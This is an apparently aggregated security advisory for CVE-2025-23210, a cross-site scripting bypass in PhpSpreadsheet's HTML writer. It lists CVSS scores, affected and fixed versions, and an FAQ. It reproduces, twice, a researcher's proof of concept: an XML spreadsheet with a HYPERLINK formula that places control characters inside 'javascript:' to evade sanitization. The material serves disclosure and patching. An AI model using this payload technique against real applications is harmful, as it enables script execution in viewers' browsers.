CVE-2025-23210: Phpoffice/phpspreadsheet Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-r57h-547h-w24f
CVSS 5.4
CWE-79
Published
Advisory Summary

CVE-2025-23210 is a MODERATE (CVSS 5.4) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Phpoffice/phpspreadsheet libraries in the Packagist ecosystem. The issue involves phpspreadsheet allows bypassing of xss sanitizer using the javascript protocol and special characters. Remediation is available by upgrading affected packages to version 3.9.0, 1.29.9, 2.3.7, 2.1.8.

CVE-2025-23210 at a Glance

CVE Identifier CVE-2025-23210
GHSA Identifier GHSA-r57h-547h-w24f
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Phpoffice/phpspreadsheet
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2025-23210

To remediate this vulnerability, upgrade all affected Phpoffice/phpspreadsheet dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

phpoffice/phpspreadsheet fixed: 3.9.0
Upgrade phpoffice/phpspreadsheet to 3.9.0
phpoffice/phpspreadsheet fixed: 1.29.9
Upgrade phpoffice/phpspreadsheet to 1.29.9
phpoffice/phpspreadsheet fixed: 2.3.7
Upgrade phpoffice/phpspreadsheet to 2.3.7
phpoffice/phpspreadsheet fixed: 2.1.8
Upgrade phpoffice/phpspreadsheet to 2.1.8
phpoffice/phpexcel fixed: Latest secure release
Upgrade phpoffice/phpexcel to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for phpoffice/phpspreadsheet

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-23210, inspect your project dependencies for Phpoffice/phpspreadsheet:

inspect dependencies for phpoffice/phpspreadsheet

Analyze the terminal output to locate any version of Phpoffice/phpspreadsheet in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.9.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Phpoffice/phpspreadsheet, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

**Product:** PhpSpreadsheet **Version:** 3.8.0 **CWE-ID:** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1:** 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) **CVSS vector v.4.0:** 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) **Description:** an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link **Impact:** executing arbitrary JavaScript code in the browser **Vulnerable component:** class `PhpOffice\PhpSpreadsheet\Writer\Html`, method `generateRow` **Exploitation conditions:** a user viewing a specially generated xml file **Mitigation:** additional sanitization of special characters in a string **Researcher: Igor Sak-Sakovskiy (Positive Technologies)** # Research The researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet. The following code is written on the server, which translates the XML file into an HTML representation and displays it in the response. *Listing 4. Source code on the server* ``` <?php require __DIR__ . '/vendor/autoload.php'; $inputFileType = 'Xml'; $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType); $inputFileName = './doc/file.xml'; $spreadsheet = $reader->load($inputFileName); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll()); ``` The contents of the xml file - `./doc/file.xml` *Listing 5. The contents of the xml file* ``` <?xml version="1.0"?> <?mso-application progid="Excel.Sheet"?> <Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" xmlns:html="http://www.w3.org/TR/REC-html40"> <DocumentProperties xmlns="urn:schemas-microsoft-com:office:office"> <Author>author</Author> <LastAuthor>author</LastAuthor> <Created>2015-06-05T18:19:34Z</Created> <LastSaved>2024-12-25T10:16:07Z</LastSaved> <Version>16.00</Version> </DocumentProperties> <OfficeDocumentSettings xmlns="urn:schemas-microsoft-com:office:office"> <AllowPNG/> </OfficeDocumentSettings> <ExcelWorkbook xmlns="urn:schemas-microsoft-com:office:excel"> <WindowHeight>11020</WindowHeight> <WindowWidth>19420</WindowWidth> <WindowTopX>32767</WindowTopX> <WindowTopY>32767</WindowTopY> <ProtectStructure>False</ProtectStructure> <ProtectWindows>False</ProtectWindows> </ExcelWorkbook> <Styles> <Style ss:ID="Default" ss:Name="Normal"> <Alignment ss:Vertical="Bottom"/> <Borders/> <Font ss:FontName="Calibri" x:Family="Swiss" ss:Size="11" ss:Color="#000000"/> <Interior/> <NumberFormat/> <Protection/> </Style> <Style ss:ID="s16"> <NumberFormat ss:Format="General Date"/> </Style> </Styles> <Worksheet ss:Name="Лист1"> <Table ss:ExpandedColumnCount="2" ss:ExpandedRowCount="6" x:FullColumns="1" x:FullRows="1" ss:DefaultRowHeight="14.5"> <Column ss:AutoFitWidth="0" ss:Width="194"/> <Row> <Cell ss:Formula="=HYPERLINK (CHAR(20) &amp; &quot;j&quot; &amp; CHAR(13) &amp; &quot;avascript:alert(1)&quot;)"><Data ss:Type="String"></Data></Cell> </Row> </Table> <WorksheetOptions xmlns="urn:schemas-microsoft-com:office:excel"> <PageSetup> <Header x:Margin="0.3"/> <Footer x:Margin="0.3"/> <PageMargins x:Bottom="0.75" x:Left="0.7" x:Right="0.7" x:Top="0.75"/> </PageSetup> <Selected/> <TopRowVisible>1</TopRowVisible> <Panes> <Pane> <Number>3</Number> <ActiveRow>6</ActiveRow> </Pane> </Panes> <ProtectObjects>False</ProtectObjects> <ProtectScenarios>False</ProtectScenarios> </WorksheetOptions> </Worksheet> </Workbook> ``` Due to the load with a special character in front of the javascript protocol, the execution flow hits line 1595, not 1593. *Figure 4. Generating a link bypassing a regular expression* ![fig4](https://github.com/user-attachments/assets/9bd2299d-9045-4cab-b3a5-cbcaf3bbe23c) In the response from the server, you can see which special character is located in front of the javascript protocol after conversion. *Figure 5. Response from the server with a special character* ![fig5](https://github.com/user-attachments/assets/3fecbd9b-b08e-4797-9f5d-06911f857059) When viewing the rendered result, a link becomes visible in the browser, and when clicked, the embedded JavaScript code will be executed. *Figure 6. Executing JavaScript code* <img width="595" alt="fig6" src="https://github.com/user-attachments/assets/b8ff1aeb-ba3b-49c1-a3b4-9e2cc1fc52d1" /> _____________________________________________ ## Credit Igor Sak-Sakovskiy (Positive Technologies)

CVE-2025-23210 Affected Phpoffice/phpspreadsheet Versions

5 component(s)
Fixed Versions:
3.9.01.29.92.3.72.1.8
Product / Package Ecosystem Affected Versions Fixed Version
phpoffice/phpspreadsheet
Packagist
≥ 3.0.0
< 3.9.0
3.9.0
phpoffice/phpspreadsheet
Packagist
< 1.29.9
1.29.9
phpoffice/phpspreadsheet
Packagist
≥ 2.2.0
< 2.3.7
2.3.7
phpoffice/phpspreadsheet
Packagist
≥ 2.0.0
< 2.1.8
2.1.8
phpoffice/phpexcel
Packagist
≤ 1.8.2

References

Frequently Asked Questions

What is CVE-2025-23210?
CVE-2025-23210 is a security vulnerability in Phpoffice/phpspreadsheet involving PhpSpreadsheet allows bypassing of XSS sanitizer using the javascript protocol and special characters under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Phpoffice/phpspreadsheet versions are affected?
Affected versions include releases prior to 3.9.0, 1.29.9, 2.3.7, 2.1.8 across affected packages: phpoffice/phpspreadsheet, phpoffice/phpexcel.
What version fixes CVE-2025-23210?
Upgrading to 3.9.0, 1.29.9, 2.3.7, 2.1.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is phpoffice/phpspreadsheet affected?
Yes, phpoffice/phpspreadsheet is affected in releases prior to 3.9.0, 1.29.9, 2.3.7, 2.1.8. Upgrade your dependency to 3.9.0, 1.29.9, 2.3.7, 2.1.8 or later.
Is phpoffice/phpexcel affected?
Yes, phpoffice/phpexcel is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2025-23210?
CVE-2025-23210 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2025-23210?
CVE-2025-23210 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2025-23210?
Run the dependency tree command: 'inspect dependencies for phpoffice/phpspreadsheet'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r57h-547h-w24f",
  "modified" : "2025-03-06T18:22:55Z",
  "published" : "2025-02-03T15:39:31Z",
  "aliases" : [ "CVE-2025-23210" ],
  "summary" : "PhpSpreadsheet allows bypassing of XSS sanitizer using the javascript protocol and special characters",
  "details" : "**Product:** PhpSpreadsheet\n**Version:** 3.8.0\n**CWE-ID:** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1:** 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)\n**CVSS vector v.4.0:** 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N)\n**Description:** an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link\n**Impact:** executing arbitrary JavaScript code in the browser\n**Vulnerable component:** class `PhpOffice\\PhpSpreadsheet\\Writer\\Html`, method `generateRow`\n**Exploitation conditions:** a user viewing a specially generated xml file\n**Mitigation:** additional sanitization of special characters in a string\n**Researcher: Igor Sak-Sakovskiy (Positive Technologies)**\n\n# Research\n\nThe researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet.\nThe following code is written on the server, which translates the XML file into an HTML representation and displays it in the response.\n\n*Listing 4. Source code on the server*\n\n```\n<?php\n\nrequire __DIR__ . '/vendor/autoload.php';\n\n$inputFileType = 'Xml';\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader($inputFileType);  \n\n$inputFileName = './doc/file.xml';\n$spreadsheet = $reader->load($inputFileName); \n \n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet); \nprint($writer->generateHTMLAll());\n```\nThe contents of the xml file - `./doc/file.xml`\n\n*Listing 5. The contents of the xml file*\n```\n<?xml version=\"1.0\"?> \n<?mso-application progid=\"Excel.Sheet\"?> \n<Workbook xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\" \n xmlns:o=\"urn:schemas-microsoft-com:office:office\" \n xmlns:x=\"urn:schemas-microsoft-com:office:excel\" \n xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\" \n xmlns:html=\"http://www.w3.org/TR/REC-html40\"> \n <DocumentProperties xmlns=\"urn:schemas-microsoft-com:office:office\"> \n  <Author>author</Author> \n  <LastAuthor>author</LastAuthor> \n  <Created>2015-06-05T18:19:34Z</Created> \n  <LastSaved>2024-12-25T10:16:07Z</LastSaved> \n  <Version>16.00</Version> \n </DocumentProperties> \n <OfficeDocumentSettings xmlns=\"urn:schemas-microsoft-com:office:office\"> \n  <AllowPNG/> \n </OfficeDocumentSettings> \n <ExcelWorkbook xmlns=\"urn:schemas-microsoft-com:office:excel\"> \n  <WindowHeight>11020</WindowHeight> \n  <WindowWidth>19420</WindowWidth> \n  <WindowTopX>32767</WindowTopX> \n  <WindowTopY>32767</WindowTopY> \n  <ProtectStructure>False</ProtectStructure> \n  <ProtectWindows>False</ProtectWindows> \n </ExcelWorkbook> \n <Styles> \n  <Style ss:ID=\"Default\" ss:Name=\"Normal\"> \n   <Alignment ss:Vertical=\"Bottom\"/> \n   <Borders/> \n   <Font ss:FontName=\"Calibri\" x:Family=\"Swiss\" ss:Size=\"11\" ss:Color=\"#000000\"/> \n   <Interior/> \n   <NumberFormat/> \n   <Protection/> \n  </Style> \n  <Style ss:ID=\"s16\"> \n   <NumberFormat ss:Format=\"General Date\"/> \n  </Style> \n </Styles> \n <Worksheet ss:Name=\"Лист1\"> \n  <Table ss:ExpandedColumnCount=\"2\" ss:ExpandedRowCount=\"6\" x:FullColumns=\"1\" \n   x:FullRows=\"1\" ss:DefaultRowHeight=\"14.5\"> \n   <Column ss:AutoFitWidth=\"0\" ss:Width=\"194\"/> \n   <Row> \n     <Cell ss:Formula=\"=HYPERLINK (CHAR(20) &amp; &quot;j&quot; &amp; CHAR(13) &amp; &quot;avascript:alert(1)&quot;)\"><Data ss:Type=\"String\"></Data></Cell> \n   </Row> \n  </Table> \n  <WorksheetOptions xmlns=\"urn:schemas-microsoft-com:office:excel\"> \n   <PageSetup> \n    <Header x:Margin=\"0.3\"/> \n    <Footer x:Margin=\"0.3\"/> \n    <PageMargins x:Bottom=\"0.75\" x:Left=\"0.7\" x:Right=\"0.7\" x:Top=\"0.75\"/> \n   </PageSetup> \n   <Selected/> \n   <TopRowVisible>1</TopRowVisible> \n   <Panes> \n    <Pane> \n     <Number>3</Number> \n     <ActiveRow>6</ActiveRow> \n    </Pane> \n   </Panes> \n   <ProtectObjects>False</ProtectObjects> \n   <ProtectScenarios>False</ProtectScenarios> \n  </WorksheetOptions> \n </Worksheet>\n</Workbook>\n```\n\nDue to the load with a special character in front of the javascript protocol, the execution flow hits line 1595, not 1593.\n \n*Figure 4. Generating a link bypassing a regular expression*\n![fig4](https://github.com/user-attachments/assets/9bd2299d-9045-4cab-b3a5-cbcaf3bbe23c)\n\nIn the response from the server, you can see which special character is located in front of the javascript protocol after conversion.\n \n*Figure 5. Response from the server with a special character*\n![fig5](https://github.com/user-attachments/assets/3fecbd9b-b08e-4797-9f5d-06911f857059)\n\nWhen viewing the rendered result, a link becomes visible in the browser, and when clicked, the embedded JavaScript code will be executed.\n\n*Figure 6. Executing JavaScript code*\n<img width=\"595\" alt=\"fig6\" src=\"https://github.com/user-attachments/assets/b8ff1aeb-ba3b-49c1-a3b4-9e2cc1fc52d1\" />\n_____________________________________________\n\n## Credit\n\nIgor Sak-Sakovskiy (Positive Technologies)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.9.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.29.9"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.2.0"
      }, {
        "fixed" : "2.3.7"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0"
      }, {
        "fixed" : "2.1.8"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpexcel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.8.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-r57h-547h-w24f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-23210"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/commit/cde2926a9e2baf146783f8fd1771bbed7d1dc7b3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-02-03T15:39:31Z",
    "nvd_published_at" : "2025-02-03T22:15:28Z"
  }
}